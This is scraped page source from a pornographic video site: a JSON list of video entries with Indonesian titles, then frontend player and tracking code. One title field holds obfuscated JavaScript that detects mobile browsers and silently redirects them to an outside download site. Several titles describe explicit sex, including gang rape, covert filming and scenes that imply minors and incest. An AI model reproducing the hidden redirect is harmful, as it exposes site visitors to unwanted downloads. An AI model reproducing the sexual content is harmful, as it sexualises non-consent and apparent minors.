Aku mengumpulkan keberanian untuk pergi ke kasino bawah tanah legendaris tempat Reverse Rabbit beroperasi, dan aku berhasil! Menang atau kalah, aku melakukan sesukaku! 星仲ここみ FALENO TUBE","lastmod":"2026-07-11","duration":"02:40:08","url":"/play/19167117.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYWRjNjcwMDIyZGQ4OTM0ZWMyYjYyM2E2YTYwMmUyNjkuanBn.cache","vod_id":19067071,"title":"Klinik Hand Angel, Klinik Seks, Versi Kunjungan Rumah, 10 judul, 352 menit! Dibintangi Mizuta Asami, Ishikawa Undan, Hanayagi Anna, dll. SETM_011","lastmod":"2025-12-14","duration":"05:51:46","url":"/play/19067071.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmUyZTQzZjdiNTU3NGQ4ZWQyYjY2YWI3ZDg4YzcxYjguanBn.cache","vod_id":18968775,"title":"FC2PPV 3246355 ※Edisi terbatas batch pertama 1930pt → 1093pt 【Gonzo・Creampie】Seorang ibu rumah tangga berusia 36 tahun yang bekerja di Ma○Kiyo. Dia memiliki wajah seperti bayi dan terlihat lebih muda dari usia sebenarnya.","lastmod":"2025-12-14","duration":"01:12:36","url":"/play/18968775.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjhlNmY1ZTgxMjE0ZjE2ZGM2NjY4NjM1YjQ5M2VjYjUuanBn.cache","vod_id":19015281,"title":"HND718 menghabiskan satu hari di sebuah rumah yang dihuni oleh seorang wanita nakal dan 21 pria lajang, dan menjadi manajer ejakulasi. Akari Mitani.","lastmod":"2025-03-24","duration":"01:58:30","url":"/play/19015281.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjU3ZDc3MTBiMTlkNzhiMDEzZjU5NDgxMGRkOGYyNTEuanBn.cache","vod_id":19003541,"title":"SDMU-883: Pesta peringatan untuk karyawan wanita SOD! Pemeriksaan kesehatan internal perusahaan – para gadis yang biasanya bekerja di izakaya diperiksa tubuhnya secara menyeluruh selama jam kerja! Rekaman 8 adegan seks yang sangat memalukan!!","lastmod":"2025-03-23","duration":"04:01:56","url":"/play/19003541.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjE4ZTFhZmZiNGY5NjViMGJiOGM2MjAxOTMzZDI3ZTEuanBn.cache","vod_id":19001207,"title":"[Subtitle Bahasa Mandarin HD] Kisah Cinta Terlarang dan Sehari Penuh Gairah Seks dengan Julia yang Berpayudara Besar, dengan Tuntutannya yang Terus Menerus","lastmod":"2025-03-23","duration":"01:38:43","url":"/play/19001207.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDM5YWE2ODhiYWNjODUyMGEzOTQ3MmIwZWZiNzA3N2IuanBn.cache","vod_id":18990190,"title":"HUNTA-706 Rumahku adalah tempat berkumpulnya para gadis di kelasku, dan juga surga bagi fotografi pakaian dalam!! Orang tuaku sering pergi bekerja, jadi sebelum aku menyadarinya,","lastmod":"2025-03-23","duration":"02:59:51","url":"/play/18990190.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjZiNTVjYTIwMDViZGMwNGMzZWUwMTkxMzdmMTczYmMuanBn.cache","vod_id":18945966,"title":"ABP-943_A Working Slut Sister, Volume 5: Adegan Kerja Asuna Kawai","lastmod":"2025-12-14","duration":"01:40:41","url":"/play/18945966.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDc4YTg5ODUwMDhmOWIzMjA1MmZiYmYyYjk3MDUxN2QuanBn.cache","vod_id":19156719,"title":"Sepenuhnya subjektif. Hina, gadis kelinci populer yang bekerja di peragaan busana, adalah pacarku. Bercinta dari jarak yang sangat mesra, disaksikan dari tempat hiburan dan hotel. Hibiki Natsume, SOD.","lastmod":"2026-05-05","duration":"02:19:32","url":"/play/19156719.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmY4NjFlYTc4Njg2ZGI5NGViZjQwNjUzMDFiOTQ4NGEuanBn.cache","vod_id":18992534,"title":"HND-684 Hari itu, pesta koktail universitas berubah menjadi klub pemerkosaan berkelompok. Fukada Emi 1","lastmod":"2025-03-23","duration":"02:32:14","url":"/play/18992534.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODdjMzU0MWE4YWE5MTI4ZmUyZGQxYzA5NzgzNjJmZmEuanBn.cache","vod_id":18963872,"title":"300MIUM-611 Masokis di Tempat Kerja. Kasus 37: Nona Akimoto, 25 tahun, penyiar TV lokal [Puting payudara erotis yang sangat sensitif] Rekaman narasi.","lastmod":"2025-03-22","duration":"01:28:52","url":"/play/18963872.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjIzODBmMDIyNmQ2YzQ4OTVhMGVhZmZiNTM3ZTNlYzkuanBn.cache","vod_id":19156463,"title":"Saudari-saudari bergigi kelinci","lastmod":"2026-05-04","duration":"02:10:14","url":"/play/19156463.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTcyNWM5NzkzNmI3ZDE1NTYzZDkyNDBjZWJlOTU0MWIuanBn.cache","vod_id":19140713,"title":"Seorang manajer yang berperilaku tidak senonoh bekerja di sebuah hotel dan memberikan layanan kepada para tamu. Oishi Saki. Oishi Saki MESU-113","lastmod":"2026-01-29","duration":"01:41:17","url":"/play/19140713.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmUyMjA1ODc3NTkxNzFmMzZhZTg2MGM0N2ZkZDJjZTEuanBn.cache","vod_id":19012023,"title":"261ARA433 [Pekerja Kantor Serius] 24 tahun [Erotis, Tubuh Montok] Misa-chan hadir! Dia melamar dan diterima bekerja di firma akuntansi pajak karena \"Aku baru saja mengalami putus cinta yang menyakitkan enam bulan lalu, dan aku sangat kesepian...\" Dia hanya ingin \"bersenang-senang!\" Wanita ini, yang menjalani hidup jujur dan memiliki sertifikasi Pembukuan Level 1 dan Kesekretariatan Level 2, kini ingin menjalani hidup yang gila! Tubuhnya yang sensitif memerah karena malu dan gembira! Jangan lewatkan rangkaian orgasme beruntun ini!","lastmod":"2025-03-24","duration":"01:16:40","url":"/play/19012023.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWM3NWZmYjc5ZThhZjk2MTY2YTk3NDE5MzNmMTRhZDAuanBn.cache","vod_id":19015627,"title":"Berapa kali sehari seorang anak laki-laki boleh masturbasi?","lastmod":"2025-03-24","duration":"05:05","url":"/play/19015627.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzM0MDIzNDkwNzk1ZDYzZjgzOTQyNDVmZmZjNGIxODkuanBn.cache","vod_id":18944803,"title":"Pada malam tanggal 22 Februari 2020, seorang perawat yang sedang bertugas di sebuah rumah sakit di Tangshan terlihat melakukan masturbasi dengan vibrator yang dimasukkan. Ia memiliki tulang selangka yang seksi dan bentuk tubuh yang bagus. Rekaman close-up saat ia buang air kecil juga difilmkan. Hal ini menggambarkan kehidupan sehari-hari seorang perawat yang penuh rangsangan.","lastmod":"2025-12-14","duration":"01:20:49","url":"/play/18944803.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZDEzZDMwYzJhZTNjMTcxZTgxYTc4N2Q3ZmU1NmM0NTcuanBn.cache","vod_id":19161789,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Sejak saya mulai bekerja di pabrik ini, istri bos selalu menyuruh saya di sini setiap hari untuk merapikan tempat tidur dan bekerja lembur di pabrik.","lastmod":"2026-07-11","duration":"02:20","url":"/play/19161789.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjJlNWIxOTFlOGMwOThjNzc3YjkyMGE5MWIyNTRhNTYuanBn.cache","vod_id":19005817,"title":"Cinta Murni dan Bunga yang Menggoda Bagian 2: Kekasih Masa Kecilku, \"Roh Kelinci,\" Menggodaku!","lastmod":"2025-03-24","duration":"15:43","url":"/play/19005817.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDRiYjNhNjJiNTgzOTRkZjU1NmE4ZjY0YTExZTJmYzQuanBn.cache","vod_id":18994670,"title":"WAAA-303-C Saya meminta rekan kerja perempuan saya yang bertubuh seksi dari pekerjaan paruh waktu saya untuk menjadi tutor saya...","lastmod":"2025-12-14","duration":"02:03:39","url":"/play/18994670.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWViNWFiM2VhOGY3MmY3YTc1MDQ2ZjJmYzc2YzQ4NzUuanBn.cache","vod_id":18984041,"title":"NEBO-014 Pesta Ulang Tahun: Sebuah upacara penting menuju kedewasaan. Pada hari ini, keperawanan dan vulva indahnya dibasahi oleh penis ayah dan pamannya.","lastmod":"2025-12-14","duration":"02:20:14","url":"/play/18984041.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYmRkNmZkMTFjMDcyNjY2ZmVmZGZmNmIzZWEyMzYwMjMuanBn.cache","vod_id":19153372,"title":"PropertySex: Bokong bulat yang menakjubkan, agen real estat sedang melayani beberapa penis besar dan keras, bokongnya yang montok [PropertySex]","lastmod":"2026-04-14","duration":"12:00","url":"/play/19153372.html"}]},
videoTitle: 'Hari Seekor Kelinci',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}